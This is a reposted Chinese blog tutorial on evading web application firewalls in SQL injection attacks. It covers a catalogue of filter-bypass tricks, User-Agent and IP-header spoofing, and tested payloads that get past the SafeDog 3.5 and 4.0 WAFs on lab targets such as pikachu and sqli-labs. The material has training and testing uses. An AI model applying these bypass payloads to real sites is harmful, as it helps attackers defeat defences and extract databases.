我是靠谱客的博主 迷你篮球,最近开发中收集的这篇文章主要介绍sql注入过wafsql注入过waf实战测试,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

目录

  • sql注入过waf
    • 常见的waf分类
    • sql注入绕过方法
      • 1. 空格被拦截
      • 2. 单引号被过滤
      • 3.逗号绕过 不同情况下的(from to) (join)(offset)
        • 例如: from to
        • 例如 join
        • 当limit 0,1 逗号 不能用 可以用 offset
        • like regex
      • 4.比较符绕过 (<>) 等于号(=) 绕过
        • 4.1 单个比较符 < 或者 > 绕过
        • 4.2等于号 “=”绕过
      • 5. or and xor not 绕过
      • 6.函数过滤绕过
        • sleep() 过滤
        • ascii() 过滤
        • group_concat()过滤
        • substr()过滤
      • 7.大小写绕过
      • 8.双写关键字
      • 9.内联注释绕过
      • 10.http参数污染
      • 11.垃圾数据溢出
      • 12.更改提交方式
      • 13.爬虫白名单绕过
      • 14.url 白名单(现在也几乎没用,了解一下即可)
      • 15.静态资源绕过(以前waf可以,现在基本不能)
      • 16.ip白名单绕过(难利用)
  • 实战测试
    • 安全狗3.5
      • union select 被过滤
        • payload
        • 分析原因
    • 安全狗4.0
      • and or Xor 被拦截
      • union select 被拦截
        • 4.0版本union select 被拦截绕过payload
        • 分析原因:
      • order by 被拦截 利用(/*//--/*/)
    • 宝塔绕过方法

sql注入过waf

常见的waf分类

1.云waf:阿里云顿  百度安全宝,长亭雷池
2.硬件waf:绿盟、深信服、奇安信等
3.软件waf:安全狗、D盾、云锁、宝塔
4.代码waf
	自己代码里写的waf规则。

sql注入绕过方法

在这里插入图片描述
先判断过滤哪些字符
eg
一加入select 就报错, 然后想办法 构造payload 绕过select过滤。

1. 空格被拦截

	/**/,/*!*/,%20,%09,%0a,%0b,%0c,%0d,() 

2. 单引号被过滤

 将字符转换为16进制
 例如:
 	select * from users where username = 'Dumb';
 	select * from users where username = 0x44756d62;

在这里插入图片描述
在这里插入图片描述

3.逗号绕过 不同情况下的(from to) (join)(offset)

盲注时 用substr(),mid(),limit 这些子句方法需要使用逗号,对于substr()和mid()可以使用 from to方式 和 join方式。 offset

例如: from to
select substr(database(),1,1)
相当于
select substr(database() from 1 for 1);
例如 join
select 1,2,3
相当于 
select * from (select 1)a join (select 2)b

,

当limit 0,1 逗号 不能用 可以用 offset
select * from users limit 0,1;
相当于
select * from users limit 1 offset 0;
like regex
select ascii(substr(user(),1,1))= 114
相当于
select user() like 'r%';
select user() regexp 'r';

4.比较符绕过 (<>) 等于号(=) 绕过

4.1 单个比较符 < 或者 > 绕过

sqlmap用between脚本
用 greatest() 返回最大值 least() 返回最小值

select * from users where id = 1 and ascii(substr(user(),1,1))> 100
可以使用
select * from users where id = 1 and greatest(ascii(substr(user(),1,1)),100) = 100
4.2等于号 “=”绕过

<> 相当于 !=
比如 布尔盲注
语句结果真 页面显示 true
语句结果假 页面显示 false

你可以用 ?name=a’ or 1<>2 表示真
name为a的数据不存在 而1<>2 即1!=2为真, 这样就绕过了 等于号被过滤。

还可以用 like relike 函数

5. or and xor not 绕过

and = &&
or = ||
xor = |
not = !

6.函数过滤绕过

sleep() 过滤
		benchmark(10000000,md5(1))
ascii() 过滤
	ord()
group_concat()过滤
concat_ws('-----',"str1",'str2')代替

select group_concat(1,'-----------',1,'------',1);
可以用
select concat_ws('-----',1,1,1);
代替
substr()过滤
substring()        mid()        left()

7.大小写绕过

select      SelEct

8.双写关键字

seselectlct   

9.内联注释绕过

/*!  */  在mysql中 该注释可用

10.http参数污染

在这里插入图片描述

eg: php/apapche   安全狗 union select 被拦截  
可以根据参数污染加 特殊符号
通过传入 ?id=1/**&id=-1 union select 1,2,3#*/
根据上图中的处理方式得知,接收获取后边的参数 -1 union select 1,2,3#*/
原理:安全狗匹配到的是1/**&id=-1 union select 1,2,3#*/ 或者1/**-1 union select 1,2,3#*/  ,安全狗认为语句被/** */注释 没有执行,直接忽视。
	而由于参数污染,web程序接收的真实数据为-1 union select 1,2,3#*/, 拼接到sql语句中,数据库可以执行。

在这里插入图片描述

11.垃圾数据溢出

12.更改提交方式

13.爬虫白名单绕过

 写python脚本,header={’User-Agent‘:'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'}
可绕过安全狗cc防护	 

14.url 白名单(现在也几乎没用,了解一下即可)

 假如 /admin/ 处于url白名单中,可能url中只要有/admin/就不会被拦截。 
 结合静态资源绕过 可以使用
 可以  http://localhost/www.sql.com/Less-1/index.php/admin.php/?id=1' union select 1,2,3 --+

15.静态资源绕过(以前waf可以,现在基本不能)

	可能有些waf 只针对 .php .asp等脚本文件后缀进行检验。
	可以在.php后加静态资源绕过  例如
	http://127.0.0.1/Less-1/index.php?id=1
	http://127.0.0.1/Less-1/index.php/1.txt/?id=1

16.ip白名单绕过(难利用)

	修改xff,x-remote-ip,x-Originating-IP,x-remote-addr,x-Real-ip
	如果基于网络层获取ip,无法利用	
	要获取对方ip 白名单 也难。 可以尝试对方本机真实ip。

实战测试

安全狗3.5

union select 被过滤

使用 内联注释+5五位数+%23+%0a 绕过 拦截
?id=1 union select 1,2,3; 会被拦截
经过测验 union select 函数被拦截

payload
union /*!06447%23%0a*/select
即可绕过
分析原因
安全狗认为%23讲后边的都注释掉了 就不存在union select 所以没有拦截

实际上执行过程为 
union /*!06447	%23	%0a*/select
	%0a为换行符 
		union /*!06447	%23
			%0a*/select
		就只剩下
		union /*!06447 
					*/select
成功绕过

在这里插入图片描述

安全狗4.0

以pikachu 靶场为例

and or Xor 被拦截

可用 ^ 判断是否存在注入

异或绕过:Xor 或者 ^ 异或顾名思义,两个条件结果相同为假。不同为真。
1^0为1 1^1 0^0为0。

1‘ and ‘1’='1
如下图被拦截

在这里插入图片描述
payload
1’ ^ ‘1’='1
注入成功
在这里插入图片描述

union select 被拦截

?id=1 union select 1,2,3;  会被拦截
3.5版本绕过方法 失败
4.0版本union select 被拦截绕过payload
union /*!--+/*%0a select /*!1,2,*/3
分析原因:
union /*!	--+/*%0a select /*!1,2,	*/3
安全狗看到   --+/*%0a select /*!1,2,	*/  以为 --+ 将后边的语句都都注释掉了。  只剩下  union /*!*/3

实际上--+ 注释掉 后边/*     %0a 将后边换行下去
							select /*!1,2,	*/3
最后结果就剩下
union /*!	 select /*!1,2,	*/3
可以看到有两个/*!  而只有一个 */ 进行闭合,在mysql中允许这样执行  
成功绕过  

在这里插入图片描述

order by 被拦截 利用(///–//)

kobe ’ order by 2 #
如下图被拦截
在这里插入图片描述

payload 	
kobe' order/*//--/*/by 2 #

在这里插入图片描述

爆库
-1’ union select 1,database()# 被拦截
经判断 是database() 被拦截

再中间加入 绕过字符 即可

payload:
-1’ union///–//select 1,database///–//() #
在这里插入图片描述

后边 爆表 爆字段同理

宝塔绕过方法

看到其他博主的一篇文章

https://blog.csdn.net/weixin_54771278/article/details/117388614?spm=1001.2101.3001.6650.4&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-4.essearch_pc_relevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-4.essearch_pc_relevant

https://blog.csdn.net/weixin_48421613/article/details/115181668?spm=1001.2101.3001.6650.3&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-3.essearch_pc_relevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-3.essearch_pc_relevant

最后

以上就是迷你篮球为你收集整理的sql注入过wafsql注入过waf实战测试的全部内容,希望文章能够帮你解决sql注入过wafsql注入过waf实战测试所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(47)

评论列表共有 0 条评论

立即
投稿
返回
顶部